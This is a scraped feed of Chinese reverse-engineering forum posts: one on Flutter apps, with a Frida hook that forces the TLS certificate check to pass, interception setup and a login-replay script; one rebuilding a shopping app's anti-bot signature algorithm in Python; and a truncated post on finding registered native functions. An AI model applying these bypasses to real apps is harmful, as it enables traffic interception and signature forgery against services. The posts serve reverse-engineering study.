两个字符串可以辅助定位方法
在libflutter.so里搜索ssl_client
定位到方法,内存搜刮函数前10字节定位,在运行时将返回函数改为true即可绕过证书链检查实现抓包(这里以64位的so为例)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | function hook_dlopen() { var android_dlopen_ext = Module.findExportByName( null , \\"android_dlopen_ext\\" ); Interceptor.attach(android_dlopen_ext, { onEnter: function (args) { var so_name = args[0].readCString(); if (so_name.indexOf( \\"libflutter.so\\" ) >= 0) this .call_hook = true ; }, onLeave: function (retval) { if ( this .call_hook) hookFlutter(); } }); } function hook_ssl_verify_result(address) { Interceptor.attach(address, { onEnter: function (args) { console.log( \\"Disabling SSL validation\\" ) }, onLeave: function (retval) { console.log( \\"Retval: \\" + retval); retval.replace(0x1); } }); } function hookFlutter() { var m = Process.findModuleByName( \\"libflutter.so\\" ); //利用函数前10字节定位 var pattern = \\"FF C3 01 D1 FD 7B 01 A9 FC 6F 02 A9FA 67 03 A9 F8 5F 04 A9 F6 57 05 A9 F4 4F 06 A9 08 0A 80 52 48 00 00 39\\" ; var res = Memory.scan(m.base, m.size, pattern, { onMatch: function (address, size){ console.log( \'[+] ssl_verify_result found at: \' + address.toString()); // Add 0x01 because it\'s a THUMB function // Otherwise, we would get \'Error: unable to intercept function at 0x9906f8ac; please file a bug\' hook_ssl_verify_result(address); }, onError: function (reason){ console.log(\'[!] There was an error scanning memory\'); }, onComplete: function () { console.log( \\"All done\\" ) } }); } |
reFlutter开源地址
1.pip3 install reflutter pip安装对应的库
2.输入命令:reflutter flutter.apk
选择1流量监控和拦截,输入PC端的IP地址后(cmd窗口输入ipconfig),将获取到release.RE.apk,但此apk尚未签名,需要我们手动签名(输入命令的过程需要全局代理)
3.使用MT管理器或者uber-apk-signer.jar签名,输入命令:java -jar uber-apk-signer-1.2.1.jar --apk release.RE.apk。然后将重签名的apk安装到真机或者模拟器上。
4.设置BurpSuite的代理,端口为8083,绑定所有地址,并且勾选All interfaces,使非代理意识的客户端直接连接到侦听器。
BurpSuitePro-2.1
5.设置Drony的wifi代理主机名端口和BurpSuite一致,然后触发app就能抓到包了
Reqable或者proxyPin直接抓包即可(工具下载看上一课)
使用readelf -s
命令读取保存快照信息的libapp.so
将会输出下面的内容
1 2 3 4 5 6 7 8 | Symbol table \'.dynsym\' contains 6 entries: Num: Value Size Type Bind Vis Ndx Name 0 : 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1 : 000000000014c000 29728 OBJECT GLOBAL DEFAULT 7 _kDartVmSnapshotInstructi 2 : 0000000000153440 0x22bd30 OBJECT GLOBAL DEFAULT 7 _kDartIsolateSnapshotInst 3 : 0000000000000200 15248 OBJECT GLOBAL DEFAULT 2 _kDartVmSnapshotData 4 : 0000000000003dc0 0x147af0 OBJECT GLOBAL DEFAULT 2 _kDartIsolateSnapshotData 5 : 00000000000001c8 32 OBJECT GLOBAL DEFAULT 1 _kDartSnapshotBuildId |
“快照”指的是 Flutter 应用在编译过程中生成的特定数据结构,用于加速应用的启动和运行。具体来说,快照包括四种类型:
\\n_kDartVmSnapshotData
: 代表 isolate 之间共享的 Dart 堆 (heap) 的初始状态。有助于更快地启动 Dart isolate,但不包含任何 isolate 专属的信息。
_kDartVmSnapshotInstructions
:包含 VM 中所有 Dart isolate 之间共享的通用例程的 AOT 指令。这种快照的体积通常非常小,并且大多会包含程序桩 (stub)。
_kDartIsolateSnapshotData
:代表 Dart 堆的初始状态,并包含 isolate 专属的信息。
_kDartIsolateSnapshotInstructions
:包含由 Dart isolate 执行的 AOT 代码。
其中_kDartIsolateSnapshotInstructions
是最为重要的,因为包含了所有要执行的AOT代码,即业务相关的代码。
1.(静态)解析libapp.so,即写一个解析器,将libapp.so中的快照数据按照其既定格式进行解析,获取业务代码的类的各种信息,包括类的名称、其中方法的偏移等数据,从而辅助逆向工作。
关于Flutter快照的具体刨析只需要看下面引用的两篇文章
Reverse engineering Flutter apps (Part 1) (tst.sh)
Reverse engineering Flutter apps (Part 2) (tst.sh)
2.(动态)编译修改过的libflutter.so
并且重新打包到APK中,在启动APP的过程中,由修改过的引擎动态链接库将快照数据获取并且保存。
PS:不同版本的Dart引擎其快照格式不同,所以静态的方法就需要频繁跟着版本更新迭代,成本极高,而动态也需要重新编译对应版本的链接库。同时如果APP作者抹除版本信息和hash信息,则无从下手,且重打包APK极易被检测到。
\\n静态方法推荐工具:blutter
动态方法推荐工具:reFlutter
环境:python3.10
1.首先安装git
下载地址
2.下载visual studio
下载地址
3.下载安装,在工作负荷里勾选\\"使用C++的桌面开发\\"
4.clone项目(全程运行在代理环境否则会导致无法下载),或者下载解压到指定文件夹
\\n1 | git clone https: / / github.com / worawit / blutter - - depth = 1 |
5.进入到blutter文件夹,cmd窗口运行初始化脚本
\\n1 | python .\\\\scripts\\\\init_env_win.py |
6.要打开x64 Native Tools Command Prompt
,它可以在Visual Studio
文件夹中找到
7.把需要反编译的flutterapp用压缩包打开,提取v8a里的libflutter.so
和libapp.so
(现在基本上是64位)解压到blutter文件夹,并创建一个输出结果的文件夹
8.在刚才打开的x64窗口运行下面的命令(全局代理!),等待运行完后会在output文件下生成一些脚本信息
PS:blutter目前支持最新的版本的dart快照解析,如果这个跑不起来可以参考第四步手动配置
1 | python blutter.py .\\\\arm64 - v8a\\\\ .\\\\output |
1 2 3 4 5 | asm 对dart语言的反编译结果,里面有很多dart源代码的对应偏移 ida_script so文件的符号表还原脚本 blutter_frida.js目标应用程序的 frida 脚本模板 objs.txt对象池中对象的完整(嵌套)转储,对象池里面的方法和相应的偏移量 pp.txt对象池中的所有 Dart 对象 |
9.接下来ida加载libapp.so,然后ida左上角点击file,再点击Script file加载符号解析脚本
10.至此可以看到so里的相关函数以显现协议实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | import hashlib import base64 import requests headers = { \'user-agent\' : \'Dart/3.1 (dart:io)\' , \'content-type\' : \'application/json; charset=utf-8\' , \'accept-encoding\' : \'gzip\' , \'host\' : \'api.mandu.pro\' , \'Content-Length\' : \'98\' , } def hash_and_encode(input_string): sha256_hash = hashlib.sha256() sha256_hash.update(input_string.encode( \'utf-8\' )) hash_bytes = sha256_hash.digest() base64_encoded = base64.b64encode(hash_bytes).decode( \'utf-8\' ) return base64_encoded input_string = \\"md123456\\" result = hash_and_encode(input_string) json_data = { \'account\' : \'xxx@qq.com\' , \'type\' : 1 , \'password\' : result, } response = requests.post( \'https://api.xxx.pro/user/session\' , headers = headers, json = json_data) print (response.text) |
百度云
阿里云
哔哩哔哩
教程开源地址
PS:解压密码都是52pj,阿里云由于不能分享压缩包,所以下载exe文件,双击自解压
[原创]Flutter概述和逆向技术发展时间线,带你快速了解
blutter
reFlutter
[翻译]Flutter 逆向初探
[原创]一种基于frida和drony的针对flutter抓包的方法
Android-Flutter逆向
Flutter Android APP 逆向系列 (一)
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
\\n\\n\\n\\n\\n\\n\\n\\n","description":"1.了解Flutter基本概念以及识别特征 2.了解Flutter应用的抓包对抗策略\\n3.了解Flutter反编译以及实战\\n\\n1.某读app\\n2.proxypin\\n3.blutter\\n\\n1.Flutter简介\\n\\nFlutter是Google构建在开源的Dart VM之上,使用Dart语言开发的移动应用开发框架,可以帮助开发者使用一套Dart代码就能快速在移动iOS 、Android上构建高质量的原生用户界面,同时还支持开发Web和桌面应用。\\nFlutter引擎是一个用于高质量跨平台应用的可移植运行时,由C/C++编写。它实现了Flutter的核心库…","guid":"https://bbs.kanxue.com/thread-282785.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2024-08-05T09:43:00.573Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_5749CKPH4U7Q6B4.png","type":"photo","width":1655,"height":895,"blurhash":"L07UI{j[fQj[j[fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_S2JC7ZFTMQFXB63.png","type":"photo","width":2495,"height":1255,"blurhash":"L1Eyb[~qfQ~q~qoffQoffQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_WU6VEZNKRT23K4W.png","type":"photo","width":665,"height":154,"blurhash":"L07UI{j[fQj[t7fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_4FWA6R5PGBHATJ7.png","type":"photo","width":668,"height":155,"blurhash":"L07UI{j[fQj[t7fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_PHC2ZNNHD9W3SVW.png","type":"photo","width":758,"height":837,"blurhash":"L07UI{j[fQj[j[fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_YQNBG3RMVTU5PX9.png","type":"photo","width":1520,"height":810,"blurhash":"L07UI{j[fQj[j[fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_BDHMRRBXXQMWHV3.png","type":"photo","width":1276,"height":284,"blurhash":"L07UI{j[fQj[offQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_7XJ4W6RVJRDVVGF.png","type":"photo","width":1512,"height":987,"blurhash":"L07UI{j[fQj[j[fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_MKHTZJCRDMQVJYM.png","type":"photo","width":1084,"height":366,"blurhash":"L07UI{j[fQj[offQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_KZA3F2ZFB545AZV.png","type":"photo","width":1080,"height":419,"blurhash":"L07UI{?bfQ?b?bj[fQj[fQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_XXU7DRMPQWJXRJM.png","type":"photo","width":1103,"height":1081,"blurhash":"L07UI{j[fQj[j[fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_3EBKH7J3USJTKTZ.png","type":"photo","width":1248,"height":1120,"blurhash":"L07UI{j[fQj[j[fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_GHQDRPKJQH9KD9B.png","type":"photo","width":1090,"height":1116,"blurhash":"L07UI{j[fQj[j[fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_33SDHBUPT788V5V.png","type":"photo","width":929,"height":465,"blurhash":"L07UI{j[fQj[offQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_B8WK6HSBWXRYFRJ.png","type":"photo","width":1027,"height":970,"blurhash":"L07UI{j[fQj[j[fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_YQCDE6JMD2T56Y9.png","type":"photo","width":1857,"height":902,"blurhash":"L07UI{j[fQj[j[fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_WX7G25AEU68XG95.png","type":"photo","width":1711,"height":236,"blurhash":"L07UI{j[fQj[offQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_8RAG3GMJR332AE7.png","type":"photo","width":816,"height":545,"blurhash":"L07UI{j[fQj[offQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_8NP98BJYFQRS4DP.png","type":"photo","width":1107,"height":875,"blurhash":"L07UI{j[fQj[j[fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_NAWFMCSERZJCBXT.png","type":"photo","width":1719,"height":924,"blurhash":"L07UI{j[fQj[j[fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_PPNDS5CT3W9VADB.png","type":"photo","width":1175,"height":417,"blurhash":"L07UI{j[fQj[offQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_82NSGCBZUKQ94MW.png","type":"photo","width":554,"height":623,"blurhash":"L07UI{offQofj[fQfQfQfQfQfQfQ"},{"url":"https://bbs.kanxue.com/upload/attach/202408/905183_2ZDKMUUHWWX7MVR.png","type":"photo","width":511,"height":808,"blurhash":"L07UI{?bfQ?b?bj[fQj[fQfQfQfQ"}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]某东东的jdgs算法分析--适合进阶学习","url":"https://bbs.kanxue.com/thread-282780.htm","content":"这个贴主要还是对算法本身结构部分描述会多点,憋问,问就是过去太久了,很多逆向过程不一定能还原(主要是懒,不想原路再走一遍),所以可能有部分跳跃的内容,会给具体代码,但对应的偏移地址和具体信息没有,给大家一个锻炼自己的机会 ( •_•)
\\n继续观看前申明:本文涉及的内容是为给大家提供适合大家巩固基础及进阶更高的技术,别做不好的事情哦。
\\n1、查找java调用jdgs算法位置,frida主动调用获取参数;
2、unidbg模拟算法so执行;
3、枯燥的边调边复现算法;
这部分直接参考其他佬的,挺详细的[原创]某东 APP 逆向分析+ Unidbg 算法模拟 ;
\\n jdgs算法的unidbg模拟执行上面链接里的结果出现以下情况问题解决:
看到java层和so层都对i2出现了不同参数对应不同功能的分支就要打起精神了,需要判断在走i2=101主体算法获取jdgs结果之前是否有走其他流程,明显是的,它执行了i2=103的init初始化部分,你在分析java层调用jdgs native算法的时候会看到init部分,so层分析时也能看到i2值会走不同的分支;
所以需要在unidbg里提前执行一步init:
1 2 3 4 5 6 7 8 9 10 11 12 13 | / / jdgs初始化 public void doInit() { / / init System.out.println( \\"=== init begin ====\\" ); Object [] init_param = new Object [ 1 ]; Integer init = 103 ; DvmObject<?> ret = module.callStaticJniMethodObject( emulator, \\"main(I[Ljava/lang/Object;)[Ljava/lang/Object;\\" , init, ProxyDvmObject.createObject(vm, init_param)); System.out.println( \\"=== init end ====\\" ); } |
jdgs算法过程会调用具体的两个资源文件,位置在解压文件夹assets里,后缀是.jdg.jpg和.jdg.xbt,通过unidbg自带的HookZz框架将这两个本地文件先入内存再写入到寄存器里(这部分我不贴代码了,新手可以练练手);
\\n这个问题就是需要你手动去利用unidbg调试算法过程,去查看控制台报红日志代码位置点在哪,追溯为什么会走这个报红日志,去手动修改这些点,这里我就直接贴代码给大家:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | / / patch C0 53 00 B5, 将反转条件跳转CBZ - - >CBNZ 会报:[main]E / JDG: [make_header: 491 ] [ - ] Error pp not init byte[] CBNZ = new byte[]{(byte) 0xC0 , (byte) 0x53 , (byte) 0x00 , (byte) 0xB5 }; UnidbgPointer p = UnidbgPointer.pointer(emulator,dm.getModule().base + 地址); p.write(CBNZ); MyDbg.addBreakPoint(dm.getModule(), 地址, (emulator, address) - > { System.out.println( \\"====== patch 反转条件跳转CBZ--\x3eCBNZ ======\\" ); return true; }); / / 干掉一个free (这个会影响结果) 会报:[main]E / JDG: [make_header: 491 ] [ - ] Error pp not init byte[] NOP = new byte[]{(byte) 0xC1F , (byte) 0xC20 , (byte) 0xC03 , (byte) 0xD5 }; UnidbgPointer p = UnidbgPointer.pointer(emulator,dm.getModule().base + 地址 ); p.write(NOP); MyDbg.addBreakPoint(dm.getModule(), 地址, (emulator, address) - > { System.out.println( \\"======= 干掉一个free =======\\" ); return true; }); |
这些问题主要还是动手能力的体现,就算天赋异禀,也要老老实实的动手;
最终会看到满意的结果:
首先看下jdgs的结果
\\n1 2 3 4 5 6 7 8 | { \\"b1\\" : \\".jdg.xbt文件名\\" , \\"b2\\" : \\"***\\" , \\"b3\\" : \\"***\\" , \\"b4\\" : \\"yY8lbpaUOZeQ3fyCiccRrM66O+Nzo/mhwP4wIa8C8JOZ6aJgSdfTJl2a6Q4oeMBx+2P4ySmoN/AtDHutJNGd/lImZaXQkwd00ZyfFGn2PmTk4uorMcnQUrKbmPRHlcKx6iOwmt8RoYf9C7l7bGWQ/COl6HcUT199wCWGjI5+u4mxfvLmiCSqhJ8qbLgVx9KQrRLXW1oDY1sf1RdNl1cYe6GfpF8kwgNMQJif9EIUBw0Td64cduT7MKAFjA3oew02IyWX2aSJaOuWaULTUqO4al9SIyRYojxQCEiMzF5UMxV6Zwu2lw1uZ6+22fJgxbEBv2LeGUpPPzXGF6E2vC0vb9sE5in3CkrKHwM+QfA5CasSPwpAmzQyr5iGyl9o6g==\\" , \\"b5\\" : \\"7e640fcb8293d390b3758974b75e9dad5082bed9\\" , \\"b7\\" : \\"1724176633106\\" , \\"b6\\" : \\"30ed898f8d129b6d16c3f0c49efae07e8de4ee0e\\" } |
通过重复抓包和执行,确定固定值b1(.jdg.xbt文件名)、b2、b3、b7(时间戳,分析过程通过hook固定),
需要分析b4、b5、b6,其实实际走完算法,主要是考验你对标准算法的熟悉程度(ida脚本Findcrypt),因为并没有出现魔改算法,自定义算法也没混淆,难度不大,但详细写篇幅有点大了,适合新手进阶,所以我说下算法具体实现,就不参照ida和unidbg调试过程手摸手复现;
经验之谈,分析算法过程,时间戳一般都是在算法中主要变动参数之一,为了减小分析影响,我们可以选择固定时间戳值:
so直接搜索获取时间戳的常见函数名进行回溯找到时间戳生成位置:
然后通过unidbg的HookZz实现固定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | / / 固定时间戳 修改获取毫秒时间戳系统函数返回值十六进制 hook.replace(dm.getModule().base + 地址, new ReplaceCallback() { @Override public HookStatus onCall(Emulator<?> emulator, long originFunction) { return super .onCall(emulator, originFunction); } @Override public HookStatus onCall(Emulator<?> emulator, HookContext context, long originFunction) { System.out.println( \\"\\\\n=========== HooZz 修改固定时间戳 =========\\\\n\\" ); return super .onCall(emulator, context, originFunction); } @Override public void postCall(Emulator<?> emulator, HookContext context) { long a = ( long ) emulator.getBackend().reg_read(Arm64Const.UC_ARM64_REG_X0); System.out.println( \\"修改前时间戳:\\" + Long .toHexString(a)); emulator.getBackend().reg_write(Arm64Const.UC_ARM64_REG_W0, 0x18f70ef8d12L ); System.out.println( \\"修改后时间戳:\\" + Long .toString( 0x18f70ef8d12L , 16 )); } },true); |
首先传参拼接一串json:e1:参数三eid,e2:参数二finger和一些常量,e3:时间戳
这一串json会进行压缩操作,返回值:comp_json
1 2 3 4 5 6 7 8 | # 压缩算法 def fun_compress( self , json): # json_len=len(json) # # 使用compressBound计算压缩后的最大可能字节数 # comp_bound = zlib.compressBound(json_len) # 使用compress方法压缩数据 comp_data = zlib.compress(json.encode( \'utf-8\' )) return bytearray(comp_data) |
接下来是获取一块0x100自定义加密数据:buf_sf_0x100
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | # salt = 时间戳+一段0x28固定值 def fun_sf( self , salt): salt = bytearray(salt, \\"utf-8\\" ) # 使用列表推导式创建一个从0到255的整数列表 int_list = [i for i in range ( 256 )] # 将整数列表转换为 bytearray ret_arr = bytearray(int_list) # X0 var2 = 0 # W11 salt_len = len (salt) # W10 for i in range ( 0x100 ): # print(f\\"{i:02x}\\") salt_chunk = int (i / salt_len) # W13 SDIV W13, W10, W2 ret_i = ret_arr[i] # W12 LDRB W12, [X0,X10] salt_chunk = i - salt_chunk * salt_len # W13 MSUB W13, W13, W2, W10 salt_chunk = salt[salt_chunk] # W13 LDRB W13, [X1,W13,UXTW] var2 = ret_i + var2 # W11 ADD W11, W12, W11 var2 = var2 + salt_chunk # W11 ADD W11, W11, W13 salt_chunk = var2 & 0xff # X13 AND X13, X11, #0xFF ret_arr[i] = ret_arr[salt_chunk] # W14 LDRB W14, [X0,X13] # W13 STRB W14, [X0,X10] ret_arr[salt_chunk] = ret_i # W12 STRB W12, [X0,X13] return ret_arr |
然后将buf_sf_0x100和comp_json进行处理获得新的:comp_json
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | # 寄存器格式为dword格式 def tool_range0xff( self , var): return var & 0xff def fun_xor( self , buf_sf, comp_json): buf_sf.append( 0 ) # 扩容到0x102 buf_sf.append( 0 ) # 扩容到0x102 self .jdgstools.tool_bytearray2str(buf_sf) comp_json_len = len (comp_json) i = 0 # try: while True : comp_json_len - = 1 # SUBS X10, X10, #1 ; X0=X0-1=--len buf_0x100 = self .jdgstools.tool_range0xff( buf_sf[ 0x100 ]) # LDRB W11, [X0,#0x100] ; W11=X0[0x100]=buf[0x100] buf_0x101 = self .jdgstools.tool_range0xff( buf_sf[ 0x101 ]) # LDRB W12, [X0,#0x101] ; W12=buf_0x101 =X0[0x101]=*(buf + 0x101); buf_0x100_i = self .jdgstools.tool_range0xff( buf_0x100 + 1 ) # ADD W11, W11, #1 ; W11=W11+1=buf[0x100]+1 buf_sf[ 0x100 ] = buf_0x100_i # STRB W11, [X0,#0x100] ; X0[0x100]=W11 buf_0x100_i = buf_0x100_i & 0xff # AND X11, X11, #0xFF ; X11=W11&0xff buf_var = self .jdgstools.tool_range0xff( buf_sf[buf_0x100_i]) # LDRB W13, [X0,X11] ; W13=X0[X11] buf_0x101 = buf_0x101 + buf_var # ADD W12, W12, W13 ; W12=W12+W13 buf_sf[ 0x101 ] = self .jdgstools.tool_range0xff( buf_0x101) # STRB W12, [X0,#0x101] ; X0[0x101]=W12 buf_0x101 = buf_0x101 & 0xff # AND X12, X12, #0xFF ; X12=X12&0xff buf_var = self .jdgstools.tool_range0xff( buf_sf[buf_0x101]) # LDRB W13, [X0,X12] ; W13=X0[X12] var = self .jdgstools.tool_range0xff( buf_sf[buf_0x100_i]) # LDRB W14, [X0,X11] ; W14=X0[X11] buf_sf[buf_0x100_i] = buf_var # STRB W13, [X0,X11] ; X0[X11]=W13 buf_sf[buf_0x101] = var # STRB W14, [X0,X12] ; X0[X12]=W14 buf_0x100_i = self .jdgstools.tool_range0xff( buf_sf[ 0x100 ]) # LDRB W11, [X0,#0x100] ; W11=X0[0x100] buf_0x101 = self .jdgstools.tool_range0xff( buf_sf[ 0x101 ]) # LDRB W12, [X0,#0x101] ; W12=X0[0x101] buf_0x100_i = self .jdgstools.tool_range0xff( buf_sf[buf_0x100_i]) # LDRB W11, [X0,X11] ; W11=X0[X11] buf_0x101 = self .jdgstools.tool_range0xff( buf_sf[buf_0x101]) # LDRB W12, [X0,X12] ; W12=X0[X12] var_comp_json = self .jdgstools.tool_range0xff( comp_json[i]) # LDRB W13, [X1],#1 ; W13=*X1+1 # i += 1 buf_0x100_i = buf_0x101 + buf_0x100_i # ADD W11, W12, W11 ; W11=W12+W11 buf_0x100_i = buf_0x100_i & 0xFF # AND X11, X11, #0xFF ; X11=X11&0xFF buf_0x100_i = self .jdgstools.tool_range0xff( buf_sf[buf_0x100_i]) # LDRB W11, [X0,X11] ; W11=X0[X11] buf_0x100_i = buf_0x100_i ^ var_comp_json # EOR W11, W11, W13 ; W11=W11^W13 comp_json[i] = buf_0x100_i # STRB W11, [X2],#1 ; *X2+1=W11 i + = 1 # print(f\\"i:{hex(i)} {hex(buf_0x100_i)}\\") # comp_json[i] = buf_sf[buf_sf[buf_sf[0x101]] + buf_sf[buf_sf[0x100]]] ^ var_comp_json if comp_json_len = = 0 : break # except: # print(\\"error i:\\",i) return comp_json |
最后对comp_json进行base64即可获得b4
\\n1 2 3 4 | def fun_base64( self , comp_json): ret = base64.b64encode(comp_json) return ret b4 = comp_json.decode( \'utf-8\' ) |
首先对b1进行计算
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | self .b1 = \\".jdg.xbt文件名\\" # jpg文件名 版本固定 # xbt字节加密iv 版本固定(需要判断下) self .xbt_eny = \\"5A 36 58 38 65 66 74 42 4E 6D 53 35 56 4B 6F 47 71 53 2F 71 34 70 44 53 36 76 72 32 53 4B 76 74 34 61 31 49 65 61 37 67 6A 54 35 52 64 32 4C 2F 65 39 76 78 4D 6D 74 69 78 58 57 75 72 75 2B 68\\" # 这个函数xbt & body 字节加密 def fun_body_eny( self , comm_body, enc): # print(\\"准备加密body:\\",comm_body) logger.debug( \\"准备加密body:{}\\" . format (comm_body)) comm_arr = bytearray(comm_body, \'utf-8\' ) enc_arr = self .jdgstools.tool_str2bytearr(enc) comm_len = len (comm_arr) enc_len = len (enc_arr) buf = bytearray(comm_arr) i = 0 if comm_len < = enc_len: while True : v14 = self .jdgstools.tool_range0xff(enc_arr[i]) v13 = self .jdgstools.tool_range0xff(i / / comm_len) var = self .jdgstools.tool_range0xff(i - v13 * comm_len) v15 = self .jdgstools.tool_range0xff(comm_arr[var]) i + = 1 buf[var] = self .jdgstools.tool_range0xff(v14 ^ v15) # print(f\\"i:{hex(i)},v14:{hex(v14)},v15:{hex(v15)},v14 ^ v15:{hex(v14 ^ v15)}\\") if i = = enc_len: break else : while True : v11 = self .jdgstools.tool_range0xff(comm_arr[i]) var = self .jdgstools.tool_range0xff(i - (i / / enc_len) * enc_len) v12 = self .jdgstools.tool_range0xff(enc_arr[var]) buf[i] = self .jdgstools.tool_range0xff(v11 ^ v12) i + = 1 if i = = comm_len: break return buf self .body_eny = self .fun_body_eny( self .b1, self .xbt_eny) |
然后对参数一的comm_body也进行同样处理,
\\n1 2 | # comm_body加密 body_eny = self .fun_body_eny(body, self .body_eny) |
然后对body_eny 进行md5得到md5_text
\\n1 2 3 4 5 6 | # md5算法 def fun_md5( self , buf): var_mad5 = hashlib.md5() var_mad5.update(buf.encode( \\"utf-8\\" )) return var_mad5.hexdigest() |
然后通过Findcrpy知道md5_text要进行aes加密得到aes_text,key和iv是内存值,不难找
\\n1 2 3 4 5 6 7 8 9 | def fun_aes( self , plaintext, key, iv): # 对明文进行填充,使其长度为16的倍数 padded_plaintext = pad(plaintext, AES.block_size) # 创建AES的CBC模式对象 cipher = AES.new(key, AES.MODE_CBC, iv) # 加密 bytes ciphertext = cipher.encrypt(padded_plaintext) return ciphertext |
接下来是sha1加密算法,明文comm_body+\\" \\"+aes_text
\\n1 2 3 4 5 6 | # sha1加密 def fun_sha1( self , commbody_aes): sha1 = hashlib.sha1() sha1.update(commbody_aes) # print(sha1.hexdigest()) return sha1.hexdigest() |
结果就是b5
\\nb6的参数是拼接值
\\n1 | # b6_data = \'{\\"b1\\":\\"{}\\",\\"b2\\":\\"{}\\",\\"b3\\":\\"{}\\",\\"b4\\":\\"{}\\",\\"b5\\":\\"{}\\",\\"b7\\":\\"{}\\",\\"b6\\":\\"{}\\"}\' % b1,b2,b3,b4,b5,b7 |
然后和b5相同的算法结构,得到b6
\\n这个算法过程其实非常适合新手进阶,并没有混淆和魔改,但遇到的问题都非常典型,文章的本身也是抱着锻炼的想法写的,不喜勿喷,希望大家可以互相交流,一起进步。
\\n很多小伙伴在逆向的时候定位到了Java层的Native函数,如果要进一步进行分析,就需要找到so中注册的Native函数。
\\n第一种情况,函数静态注册,可以直接在so的导出符号表中找到静态注册的函数地址(这里使用的方法是dlsym)。
\\n第二种情况,函数动态注册,在JNI_ONLOAD中使用RegisterNatives这个函数进行注册。
\\n但是出现了一些特殊的情况,hook了这两个函数,却没有找到目标函数的注册方法。
\\n本文章将分多个部分讲解:
\\n本帖子是转储notion的,下面如果格式跟不上请查看:
\\nhttps://fortunate-decimal-730.notion.site/RegisterNatives-JNI-b83f71b4a9dc4b30a00177b71cee242c?pvs=4
\\n获取更好的阅读体验,谢谢大家~
\\n1、从AOSP源码的角度讲解RegisterNatives函数具体的流程
\\n2、从AOSP源码出发,探究Java的类加载时,如何注册自己的函数地址
\\n3、讲解函数绑定的地址究竟在哪里,如何从根本上拿到绑定函数的地址
\\n4、如何使用工具拿到属于自己唯一的偏移地址
\\n5、小试牛刀,用学到的知识初步测试
\\n6、利用两个群友遇到问题的例子,一个简单的,一个复杂的,来实战应用技术
\\n群友提问
\\n1 .首先用yang的那个dump so脚本hook不到,然后用他那个hook regestive的脚本也hook不到注册函数
\\n2.为什么我hook了dlsym、jni的RegisterNative、枚举所有模块的所有导出函数都没有找到我要的函数
\\n脚本部分来源:Fart脱壳王课件
\\n寒冰老师提出的这个方法,我并不是原创,我只是实现了一个小工具以及提供了两个具体案例来实现。
\\n欢迎大家购买看雪2W、3W班,以及FART脱壳王课程来支持寒冰老师,并获得更加充分的售后指导。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | static jint RegisterNatives(JNIEnv* env , 2460 jclass java_class, 2461 const JNINativeMethod* methods, 2462 jint method_count) { 2463 if (UNLIKELY(method_count < 0)) { 2464 JavaVmExtFromEnv( env )->JniAbortF( \\"RegisterNatives\\" , \\"negative method count: %d\\" , 2465 method_count); 2466 return JNI_ERR; // Not reached except in unit tests. 2467 } 2468 CHECK_NON_NULL_ARGUMENT_FN_NAME( \\"RegisterNatives\\" , java_class, JNI_ERR); 2469 ScopedObjectAccess soa( env ); 2470 StackHandleScope<1> hs(soa.Self()); 2471 Handle<mirror::Class> c = hs.NewHandle(soa.Decode<mirror::Class>(java_class)); 2472 if 